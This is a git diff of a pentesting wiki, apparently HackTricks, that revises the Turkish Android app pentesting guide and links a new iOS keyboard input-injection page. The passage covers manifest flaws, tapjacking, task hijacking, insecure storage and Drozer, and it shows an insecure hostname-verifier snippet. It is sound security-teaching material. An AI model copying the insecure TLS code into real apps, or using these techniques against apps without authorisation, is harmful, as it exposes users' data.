diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 2d79a9aa6..188446a3f 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -348,6 +348,7 @@ - [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md) - [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md) - [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md) + - [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md) - [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md) - [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md) - [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 26acf1c98..b8c0deee6 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -13,14 +13,14 @@ android-applications-basics.md ## ADB (Android Debug Bridge) Bu, bir android cihazına (emüle edilmiş veya fiziksel) bağlanmak için ihtiyaç duyduğunuz ana araçtır.\ -**ADB**, cihazları bir bilgisayardan **USB** veya **Ağ** üzerinden kontrol etmeyi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanmasını**, uygulamaların **yüklenmesini** ve **kaldırılmasını**, shell komutlarının **çalıştırılmasını**, verilerin **yedeklenmesini**, günlüklerin **okunmasını** ve diğer birçok işlevi mümkün kılar. +**ADB**, cihazları bir bilgisayardan **USB** veya **Ağ** üzerinden kontrol etmeyi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanması**, uygulamaların **yüklenmesi** ve **kaldırılması**, kabuk komutlarının **çalıştırılması**, verilerin **yedeklenmesi**, **logların** okunması gibi işlevleri yerine getirir. ADB'yi nasıl kullanacağınızı öğrenmek için aşağıdaki [**ADB Komutları**](adb-commands.md) listesine göz atın. ## Smali -Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden compile etmek ilginç olabilir.\ -[**Bu eğitimde** **APK'yı decompile etmeyi, Smali kodunu değiştirmeyi ve APK'yı yeni işlevsellik ile yeniden compile etmeyi** öğrenebilirsiniz](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**. +Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden derlemek ilginç olabilir.\ +[**Bu eğitimde** **APK'yı decompile etmeyi, Smali kodunu değiştirmeyi ve APK'yı yeni işlevsellik ile yeniden derlemeyi** öğrenebilirsiniz](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**. ## Diğer ilginç ipuçları @@ -47,6 +47,12 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` +## Vaka Çalışmaları & Güvenlik Açıkları + +{{#ref}} +../ios-pentesting/air-keyboard-remote-input-injection.md +{{#endref}} + ## Statik Analiz Öncelikle, bir APK'yı analiz etmek için **Java koduna göz atmalısınız** bir dekompiler kullanarak.\ @@ -54,32 +60,32 @@ Lütfen, [**farklı mevcut dekompilerler hakkında bilgi bulmak için burayı ok ### İlginç Bilgiler Aramak -APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuid'leri**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) için bile bakın. +APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) arayın. **Firebase** -**firebase URL'lerine** özel dikkat edin ve kötü yapılandırılıp yapılandırılmadığını kontrol edin. [Firebase nedir ve nasıl istismar edilir hakkında daha fazla bilgi burada.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +**firebase URL'lerine** özel dikkat gösterin ve kötü yapılandırılıp yapılandırılmadığını kontrol edin. [Firebase nedir ve nasıl istismar edilir hakkında daha fazla bilgi burada.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml -Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının **incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir**. Bu dosyalar dekompilerler kullanılarak veya APK dosya uzantısı .zip olarak yeniden adlandırılıp ardından açılarak erişilebilir. +Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının **incelemesi potansiyel güvenlik açıklarını ortaya çıkarabilir**. Bu dosyalar dekompilerler kullanılarak veya APK dosya uzantısı .zip olarak yeniden adlandırılıp çıkarılarak erişilebilir. -**Manifest.xml** dosyasından tespit edilen **açıklar** şunlardır: +**Manifest.xml** dosyasından tespit edilen **güvenlik açıkları** şunlardır: -- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları bulma ve istismar etme hakkında daha fazla bilgi için bir eğitime başvurun. -- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle usb hata ayıklama etkinleştirildiğinde. +- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğiniz hakkında daha fazla bilgi için, bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun. +- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle USB hata ayıklama etkinleştirildiğinde. - **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek. -- **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik test sırasında daha fazla analiz, bu bileşenlerin nasıl istismar edileceğini ortaya çıkarabilir. +- **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik testler sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir. - **İçerik Sağlayıcıları ve FileProviders**: Açık içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği izni verebilir. FileProviders'ın yapılandırması da incelenmelidir. - **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, URL şemalarının giriş açıkları için nasıl yönetildiğine özel dikkat gösterilmelidir. - **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini belirtir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular. -**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gerekliliğini vurgular. +**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gerektiğini vurgular. ### Tapjacking -**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştiği** bir saldırıdır. Kurban uygulamayı görünür şekilde gizledikten sonra, kullanıcı arayüzü kullanıcıyı yanıltacak şekilde tasarlanmıştır, böylece kullanıcı etkileşimini bu uygulama ile gerçekleştirirken, etkileşim kurban uygulamaya iletilir.\ -Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında işlem yaptığını bilmesini engellemektedir**. +**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştiği** bir saldırıdır. Kurban uygulamasını görünür bir şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamasına iletmektedir.\ +Sonuç olarak, bu, **kullanıcının aslında kurban uygulamasında eylemler gerçekleştirdiğini bilmesini engellemektedir**. Daha fazla bilgi için: @@ -89,7 +95,7 @@ tapjacking.md ### Görev Ele Geçirme -**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** yüklenebileceği ve gerçek uygulamadan önce başlatılırsa, gerçek uygulamanın görevini **ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek uygulamayı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**). +**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** kurulabileceği ve gerçek uygulamadan önce başlatılırsa, gerçek uygulamanın görevini **ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **kötü niyetli uygulama ile etkileşimde bulunurken gerçek olanı kullandığını düşünecektir**). Daha fazla bilgi için: @@ -101,12 +107,12 @@ android-task-hijacking.md **Dahili Depolama** -Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar diğer uygulamalar tarafından, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, bu dosyalara erişimi **kısıtlamaz**. +Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, bu dosyalara diğer uygulamalar, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, erişimi **kısıtlamaz**. 1. **Statik Analiz:** -- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesi** gerektiğini **sağlayın**. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir. +- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini sağlayın**. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir. 2. **Dinamik Analiz:** -- Uygulama tarafından oluşturulan dosyaların üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olup olmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir. +- Uygulama tarafından oluşturulan dosyaların **izinlerini** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, **cihazda yüklü olan herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir. **Harici Depolama** @@ -115,12 +121,12 @@ Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** 1. **Erişilebilirlik**: - Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir. 2. **Güvenlik Endişeleri**: -- Erişimin kolaylığı göz önüne alındığında, **hassas bilgilerin harici depolamada saklanmaması** önerilir. -- Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da güvenliğini azaltır. +- Erişimin kolaylığı göz önüne alındığında, **hassas bilgileri** harici depolamada saklamamanız önerilir. +- Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da onu daha az güvenli hale getirir. 3. **Harici Depolamadan Veri İşleme**: - Harici depolamadan alınan veriler üzerinde her zaman **girdi doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir. -- Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyalarının saklanması kesinlikle önerilmez. -- Uygulamanız harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir. +- Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez. +- Uygulamanız harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir. Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir**. @@ -129,19 +135,19 @@ Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında * **Açık metin olarak saklanan hassas veriler** -- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data//shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür. -- **Veritabanları**: Android, her uygulamanın `/data/data//databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür. +- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data//shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgiler bulmak mümkündür. +- **Veritabanları**: Android, her uygulamanın `/data/data//databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgiler bulmak mümkündür. ### Kırık TLS **Tüm Sertifikaları Kabul Etme** -Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı aşağıdaki gibi kod satırlarıyla eşleşmese bile: +Bazı nedenlerden dolayı, bazen geliştiriciler, örneğin ana bilgisayar adı kod satırlarıyla eşleşmese bile tüm sertifikaları kabul ederler: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -Bir bunu test etmenin iyi bir yolu, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır, ancak cihaz içinde Burp CA'yı yetkilendirmeden. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz. +Bir bunu test etmenin iyi bir yolu, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır, ancak Burp CA'yı cihaz içinde yetkilendirmeden. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz. ### Kırık Kriptografi @@ -151,19 +157,19 @@ Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hard **Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı** -Geliştiriciler, yetkilendirme **kontrolleri** yapmak, **veri saklamak** veya **göndermek** için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte **brute-force saldırılarına dayanıklı** hash'ler kullanılmalıdır. +Geliştiriciler, yetkilendirme **kontrolleri**, **veri saklama** veya **gönderme** işlemleri için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte **brute-force saldırılarına dayanıklı** hash'ler kullanılmalıdır. ### Diğer Kontroller - **APK'yı obfuscate etmek** önerilir, böylece tersine mühendislik işlemleri saldırganlar için zorlaşır. -- Uygulama hassas ise (örneğin banka uygulamaları), **mobilin köklenip köklenmediğini kontrol etmelidir** ve buna göre hareket etmelidir. +- Uygulama hassas ise (örneğin banka uygulamaları), **mobilin köklenip köklenmediğini kontrol etmek için kendi kontrollerini** gerçekleştirmelidir ve buna göre hareket etmelidir. - Uygulama hassas ise (örneğin banka uygulamaları), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir. -- Uygulama hassas ise (örneğin banka uygulamaları), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir**. +- Uygulama hassas ise (örneğin banka uygulamaları), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir** ve değiştirilip değiştirilmediğini kontrol etmelidir. - APK'yı oluşturmak için hangi derleyici/paketleyici/obfuscator kullanıldığını kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın. ### React Native Uygulaması -React uygulamalarının javascript koduna kolayca erişmeyi öğrenmek için aşağıdaki sayfayı okuyun: +React uygulamalarının javascript koduna kolayca erişmek için aşağıdaki sayfayı okuyun: {{#ref}} react-native-application.md @@ -171,7 +177,7 @@ react-native-application.md ### Xamarin Uygulamaları -Xamarin uygulamalarının C# koduna kolayca erişmeyi öğrenmek için aşağıdaki sayfayı okuyun: +Xamarin uygulamalarının C# koduna kolayca erişmek için aşağıdaki sayfayı okuyun: {{#ref}} ../xamarin-apps.md @@ -183,7 +189,7 @@ Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-met ### Otomatik Statik Kod Analizi -[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** içerir, **sink** (kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösterir) ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink** kombinasyonlarını belirtir. +[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** (kaynaklar), kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösteren **sinkler** ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink kombinasyonlarını** belirtir. Bu bilgiyle, **mariana-trench kodu gözden geçirecek ve olası zayıflıkları bulacaktır**. @@ -200,9 +206,9 @@ bypass-biometric-authentication-android.md ### Diğer İlginç Fonksiyonlar - **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()` -- **SMS Gönderme**: `sendTextMessage, sendMultipartTestMessage` -- **Native fonksiyonlar** `native` olarak tanımlanır: `public native, System.loadLibrary, System.load` -- [Native fonksiyonları **tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md) +- **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage` +- **Native fonksiyonlar** `native` olarak tanımlanmıştır: `public native, System.loadLibrary, System.load` +- [**Native fonksiyonları tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md) ### **Diğer Hileler** @@ -220,9 +226,9 @@ content-protocol.md ### Çevrimiçi Dinamik Analiz -[https://appetize.io/](https://appetize.io) adresinde **ücretsiz bir hesap** oluşturabilirsiniz. Bu platform, APK'ları **yüklemenize** ve **çalıştırmanıza** olanak tanır, bu nedenle bir apk'nın nasıl davrandığını görmek için faydalıdır. +[https://appetize.io/](https://appetize.io) adresinde **ücretsiz bir hesap** oluşturabilirsiniz. Bu platform, APK'ları **yüklemenize** ve **çalıştırmanıza** olanak tanır, bu nedenle bir APK'nın nasıl davrandığını görmek için faydalıdır. -Ayrıca, **uygulamanızın günlüklerini** webde görebilir ve **adb** üzerinden bağlanabilirsiniz. +Ayrıca, uygulamanızın **loglarını** webde görebilir ve **adb** üzerinden bağlanabilirsiniz. ![](<../../images/image (831).png>) @@ -232,14 +238,14 @@ ADB bağlantısı sayesinde, emülatörler içinde **Drozer** ve **Frida** kulla #### Bir emülatör kullanarak -- [**Android Studio**](https://developer.android.com/studio) (X86 ve ARM cihazları oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri ARM kütüphanelerini yavaş bir ARM emülatörüne ihtiyaç duymadan destekler). -- Kurulumunu öğrenmek için bu sayfayı okuyun: +- [**Android Studio**](https://developer.android.com/studio) (x86 ve arm cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri ARM kütüphanelerini yavaş bir arm emülatörüne ihtiyaç duymadan destekler). +- Kurulumunu bu sayfada öğrenin: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox ile** sürümü **indirmeyi** öneririz._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox ile** sürümü **indirin** önerilir._) - [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez). > [!TIP] @@ -262,13 +268,13 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo 5. Geri dönün ve **Geliştirici seçeneklerini** bulacaksınız. > Uygulamayı kurduktan sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\ -> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi yapmanızı öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebilirsiniz. +> **Bu ilk dinamik analizi MobSF dinamik analizi + pidcat kullanarak gerçekleştirmeyi** öneririm, böylece MobSF **ilginç** **verileri** toplarken uygulamanın nasıl çalıştığını **öğrenebiliriz**. ### İstenmeyen Veri Sızıntısı **Günlükleme** -Geliştiricilerin, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa etme konusunda dikkatli olmaları gerekir, çünkü bu hassas veri sızıntılarına yol açabilir. Uygulama günlüklerini izlemek ve hassas bilgileri korumak için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilmektedir. +Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa etme konusunda dikkatli olmalıdır, çünkü bu hassas veri sızıntılarına yol açabilir. Uygulama günlüklerini izlemek ve hassas bilgileri korumak için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilmektedir. > [!WARNING] > **Android 4.0'dan daha yeni** sürümlerden itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\ @@ -276,17 +282,17 @@ Geliştiricilerin, **hata ayıklama bilgilerini** kamuya açık bir şekilde if **Kopyala/Yapıştır Tamponu Önbellekleme** -Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebileceğinden** hassas verilerin açığa çıkma riski taşır. Hassas bölümler için, örneğin kredi kartı bilgileri gibi, **kopyala/yapıştır** işlevlerini devre dışı bırakmak kritik öneme sahiptir. +Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya erişebildiğinden hassas verilerin açığa çıkma riski taşır. Hassas bölümler için, örneğin kredi kartı bilgileri gibi, **kopyala/yapıştır** işlevlerini devre dışı bırakmak kritik öneme sahiptir. **Çökme Günlükleri** -Eğer bir uygulama **çöker** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik yapılamıyorsa. Bu riski azaltmak için, çökme durumunda günlüğe kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun. +Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik yapılamıyorsa. Bu riski azaltmak için, çökme durumunda günlüğe kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun. Pentester olarak, **bu günlükleri gözden geçirmeye çalışın**. **Üçüncü Taraflara Gönderilen Analitik Veriler** -Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliştiricilerin yanlış uygulaması nedeniyle hassas verilerin **sızmasına** neden olabilir. Potansiyel veri sızıntılarını belirlemek için, uygulamanın trafiğini **yakalamak** ve üçüncü taraf hizmetlere gönderilen hassas bilgileri kontrol etmek önerilir. +Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliştiricilerin yanlış uygulaması nedeniyle hassas verilerin **sızmasına** neden olabilir. Potansiyel veri sızıntılarını belirlemek için, uygulamanın trafiğini **yakalamak** ve üçüncü taraf hizmetlere gönderilen herhangi bir hassas bilgiyi kontrol etmek önerilir. ### SQLite DB'leri @@ -297,33 +303,33 @@ Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygul Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema ` ile listeleyin. -### Drozer (Saldırı Aktiviteleri, İçerik Sağlayıcıları ve Hizmetler) +### Drozer (Sızdırılan Aktiviteler, İçerik Sağlayıcılar ve Hizmetler) -[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve temel işletim sistemi ile etkileşimde bulunabilir.\ -Drozer, **ihracat yapılmış aktiviteleri, ihracat yapılmış hizmetleri ve İçerik Sağlayıcıları** istismar etmek için faydalı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz. +[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve altındaki işletim sistemiyle etkileşimde bulunabilir.\ +Drozer, **ihracat edilen aktiviteleri, ihracat edilen hizmetleri ve İçerik Sağlayıcıları** istismar etmek için yararlı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz. -### İhracat Yapılmış Aktiviteleri İstismar Etme +### İhracat Edilen Aktiviteleri İstismar Etme [**Bir Android Aktivitesinin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\ Ayrıca, bir aktivitenin kodunun **`onCreate`** metodunda başladığını unutmayın. **Yetkilendirme atlatma** -Bir Aktivite ihracat yapıldığında, dış bir uygulamadan ekranını 